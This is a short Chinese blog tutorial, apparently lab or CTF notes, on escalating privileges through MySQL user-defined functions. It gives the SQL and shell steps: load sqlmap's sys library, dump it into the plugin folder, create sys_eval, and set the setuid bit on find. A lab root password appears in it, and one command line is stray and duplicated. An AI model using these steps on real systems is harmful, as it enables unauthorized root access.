参考文章:

https://blog.csdn.net/qq_43430261/article/details/107258466

UDF路径

默认在MySQL根目录下的/lib/plugin

也可以通过select @@basedir查看根目录

原理

通过引入udf.dll来创建自定义函数,下面语句的含义是定义了sys_eval的函数,这个函数在udf.dll中有实现,通过引入这个函数来执行系统命令

1
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

提权利用

由于sys_eval函数是以管理员权限运行的,所以我们现在考虑如何将这个管理员权限转移给我们的shell

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
  2. 从udf文件中引入自定义函数(user defined function)
  3. 执行自定义函数

我们现在需要udf.dll,可以通过sqlmap进行获取,进入到sqlmap\extra\cloak\cloak目录执行下述命令,就会在指定的路径下生成动态链接库

1
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

接下来我们需要,授予特定可供命令执行的文件以管理员权限,于是我们可以将MySQL中的管理员权限转移出来

1
2
3
4
5
6
7
8
9
10
11
mysql -u root -p 'R@v3nSecurity' # 进入mysql
use mysql; # 切换数据库
create table foo (line blob); # 新建一个表,用来存放本地传来的udf文件的内容
insert into foo values(load_file('[udf路径]')); # 在foo中写入udf文件内容
select * from foo into dumpfile '[你要写入udf的路径]'; # 将udf文件内容传入新建的udf文件中,这里的dumpfile要和用linEnum.sh查看的mysql的路径一致
# windows中,对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\,linux中,5.1以上lib\plugin
create function sys_eval returns integer soname '[你的udf名]'; # 导入udf函数
select sys_eval('chmod u+s /usr/bin/find');
create table foo(line blob);
# 给 find 命令加上 setuid 的标志,然后调用find的-exec指令来执行命令
quit; # 退出mysql

总结

这里补充了UDF提权方式,通过MySQL引入udf.dll并创建自定义命令执行函数,授予某个常用的命令以管理员权限,从而导致将MySQL中的权限转移出来造成提权

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally